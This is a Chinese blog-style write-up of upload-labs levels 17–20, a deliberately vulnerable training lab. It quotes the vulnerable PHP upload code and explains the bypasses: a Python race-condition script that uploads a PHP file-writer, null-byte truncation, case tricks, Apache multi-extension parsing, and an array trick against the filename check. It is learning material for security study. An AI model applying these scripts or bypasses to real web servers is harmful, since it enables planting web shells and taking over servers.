Pass-17

​ (windows环境,php版本5.2.17,题号是18题)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}

​ 思路和前面的一样,获取文件信息,移动文件到upload文件夹,第12行使用了白名单验证,多了第14行的rename函数,看名称就是重命名的函数,所以我们可以在重命名之前访问我们上传的文件,所以这题用到了上传竞争,使用python脚本不断的向服务器上传文件,然后访问上传的文件,上传的文件中有一句代码<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>这段代码执行以后,会创建一个名为shell.php里面有一句<?php phpinfo();?>的文件。

​ 脚本代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#coding=utf-8
import requests
from multiprocessing import Pool
def CompeteUpload(list):
url="http://upload-labs/Pass-18/index.php" #上传页面
geturl="http://upload-labs/upload/233.php" #访问上传文件
file={'upload_file':('233.php',"<?php fputs(fopen('shell.php','w'),'<?php phpinfo();?>');?>",'image/jpeg')}
data={'submit':'上传'}
r=requests.post(url=url,data=data,files=file)
#print "test upload...."
r1=requests.get(url=geturl)
if r1.status_code==200:
print ("upload success!")
if __name__=="__main__":
pool = Pool(10)
pool.map(CompeteUpload, range(10000))
pool.close()
pool.join()

​ 第一次用python的我在这里知道了pip。这道题因为要不断的上传和访问文件,所以对在线靶场不友好,所以才选择了本地环境解题。完工

Pass-18(失手)

​ 18题失手了没有思路,如果使用include.php文件包含的话还可以,看了看网上大部分的博客都是敷敷衍衍过去的,找到了一篇稍微有点思路的,使用的是apache2.2.x的解析漏洞,这个漏洞的思路就是,apache服务器在解析有多个后缀名的文件时,从最后一个开始向前扫描,如果不认识就跳过,直到遇到一个认识的文件后缀,就把这个文件以这个能识别的后缀解析。

Apache文件解析漏洞

apache httpd多后缀解析漏洞复现

​ 源码中还有一个可以突破的点是同样使用了重命名函数,所以应该还是可以使用竞争上传访问得到,但是使用了白名单验证,我实在是没招了所以先摸为敬

Pass-19

(windows环境,php5.2.17,magic_quotes_gpc=Off)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

​ 源码第七行使用了POST来接受文件的命名,前面有类似题的是使用了0x00截断上传,后面也同样是move_uploaded_file移动文件的函数,还使用了黑名单验证,方法就很明确,使用截断上传。别忘了截断上传需要的特定条件:php版本需要低于5.3.29magic_quotes_gpc需要为关闭状态。

​ 同样是命名为phpa方便在十六进制表里修改为00

​ 打开图片把url链接http://upload-labs/upload/upload-19.php�修改一下即可。完工

​ 其实这道题还有一个思路,因为题目使用了黑名单验证,分析源码没有设置大小写过滤,所以也可以使用大小写方法通过如Php,不演示了。

Pass-20

(LInux环境,php7.2.21)

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

​ 这道题使用了MIME验证和白名单验证。先看第10行使用了三目运算符判断$_POST['save_name']是否为空,若为空则执行:前获取上传文件的名称,若不为空则获取POST中的save_name。第11行使用了is_array函数判断是否是一个数组,然后使用explode截断文件名转换小写并返回数组。也就是说,如果我们POST中的save_name是个数组的就可以跳过11行的判断。15行使用end函数获取数组中的最后一个元素用于后缀验证。20行把文件名进行拼接:数组第一个元素+数组元素总数-1的那个元素。

所以我们可以构造一个这样的数组用于绕过:

​ 数组[2]用于绕过白名单,文件名为:数组[0].数组[1],但是数组[1]是空的所以只剩下数组[0].(后面有个点)

​ 别忘了还要绕过MIME

完工

最后

​ Upload labs的20道题大部分完成了,有两道题没完成,但是也学到了不少东西,这些天再抽空写一个总结吧。射射观看。